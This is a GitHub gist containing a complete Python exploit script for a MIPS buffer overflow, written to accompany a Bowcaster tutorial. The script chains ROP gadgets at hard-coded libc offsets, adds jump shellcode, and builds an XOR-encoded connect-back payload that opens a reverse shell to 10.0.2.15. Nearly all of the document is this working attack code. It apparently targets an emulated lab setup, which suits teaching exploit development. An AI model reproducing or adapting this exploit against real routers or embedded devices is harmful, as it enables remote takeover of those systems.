Create a gist now

Instantly share code, notes, and snippets.

@csmatt /Exploit.py
Last active Sep 19, 2016

Full Exploit.py script for my tutorial on using Bowcaster to exploit a MIPS buffer overflow http://csmatt.com/notes/?p=96
#!/usr/bin/python
from bowcaster.development.overflowbuilder import SectionCreator, OverflowBuffer
from bowcaster.common.support import LittleEndian
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload
from bowcaster.encoders.mips import MipsXorEncoder
qemu_libc_base=0x2aadc000
badchars = ['\0','\n']
SC=SectionCreator(LittleEndian, base_address=qemu_libc_base, badchars=badchars)
sections=[]
#ROP 1
section=SC.gadget_section(516,0x192d8, description="load a portion of overflowed stack into $ra and $s0-$s8")
## 192d8: 8fbf0054 lw ra,84(sp)
## 192dc: 8fbe0050 lw s8,80(sp)
## 192e0: 8fb7004c lw s7,76(sp)
## 192e4: 8fb60048 lw s6,72(sp)
## 192e8: 8fb50044 lw s5,68(sp)
## 192ec: 8fb40040 lw s4,64(sp)
## 192f0: 8fb3003c lw s3,60(sp)
## 192f4: 8fb20038 lw s2,56(sp)
## 192f8: 8fb10034 lw s1,52(sp)
## 192fc: 8fb00030 lw s0,48(sp)
## 19300: 03e00008 jr ra
## 19358: 00003821 move a3,zero
sections.append(section)
# ROP 2
section=SC.gadget_section(604, 0x17514,description="put 1 into $a0 for sleep and jalr to $s0. NOTE: since this is a jalr, we'll end up at 0x17524 after sleep() and since we didn't change $s0, 0x17528 copies $s0 back into $t9 and the next jr puts us back in sleep(). Because jr doesn't advance $ra, we take advatage of the 'lw ra,28(sp)' to set where sleep() returns after the second call to it.")
## 17514: 0200c821 move t9,s0
## 17518: 24040001 li a0,1
## 1751c: 0320f809 jalr t9
## 17520: 3c050002 lui a1,0x2
## 17524: 8fbc0010 lw gp,16(sp)
## 17528: 0200c821 move t9,s0
## 1752c: 8fbf001c lw ra,28(sp)
## 17530: 8fb00018 lw s0,24(sp)
## 17534: 24040002 li a0,2
## 17538: 3c050002 lui a1,0x2
## 1753c: 03200008 jr t9
## 17540: 27bd0020 addiu sp,sp,32
sections.append(section)
# ROP 3
section=SC.gadget_section(568,0xb2bb0, description="set $s0 to address of sleep so that ROP 2 loads it into $t9 and jumps to it.")
## 000b2bb0 <sleep>:
## b2bb0: 3c1c000d lui gp,0xd
## b2bb4: 279c3db0 addiu gp,gp,15792
## ...
sections.append(section)
# ROP 4
section=SC.gadget_section(636, 0x1ead4, description="load $sp+60 into $t9, locate stack with addiu, and jalr to $t9")
## 1ead4: 8fb9003c lw t9,60(sp)
## 1ead8: afa3001c sw v1,28(sp)
## 1eadc: afa00010 sw zero,16(sp)
## 1eae0: afa20014 sw v0,20(sp)
## 1eae4: afa00018 sw zero,24(sp)
## 1eae8: 27a6002c addiu a2,sp,44
## 1eaec: 0320f809 jalr t9
## 1eaf0: 02003821 move a3,s0
sections.append(section)
# ROP 5
section=SC.gadget_section(700, 0x1a2cc, description="move stack location (stored at $a2 from ROP 3) into $t9, then jalr to $t9")
## 1a2cc: 00c0c821 move t9,a2
## 1a2d0: 0320f809 jalr t9
## 1a2d4: 02e02021 move a0,s7
sections.append(section)
# Shellcode 1: at this point we're ready to replace ROP gadgets with shellcode,
# but the relative stack position we jumped to above doesn't give us enough space to do much
# However, we're in control now, so we'll write our own instructions to be executed.
# They merely jump to a place in our overflow where we won't overlap with the sections we needed for the ROP gadgets above.
# Also note that jumpCode contains some null chars. For more robust trampolining, consider using Bowcaster's trampoline module.
jumpCode = "\x18\x00\xc6\x24" # a2 += 24 to move it past our code at 700 (to 708)
jumpCode += "\x09\xf8\x20\x03" # jalr t9
jumpCode += "\x21\xc8\xc0\x00" # copy a2 into t9
section=SC.string_section(684, jumpCode, "jump to 708 which is where our larger shellcode will start")
sections.append(section)
payload=ConnectbackPayload("10.0.2.15",LittleEndian)
#XOR encode the payload
encoded_payload=MipsXorEncoder(payload,badchars=badchars)
section=SC.string_section(708, encoded_payload.shellcode, "encoded connect-back payload")
sections.append(section)
# create the OverflowBuffer and fill it with our ROP gadgets and shellcode
buf = OverflowBuffer(LittleEndian, 2048, sections)
f = open('bof', 'w')
f.write(str(buf))
f.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment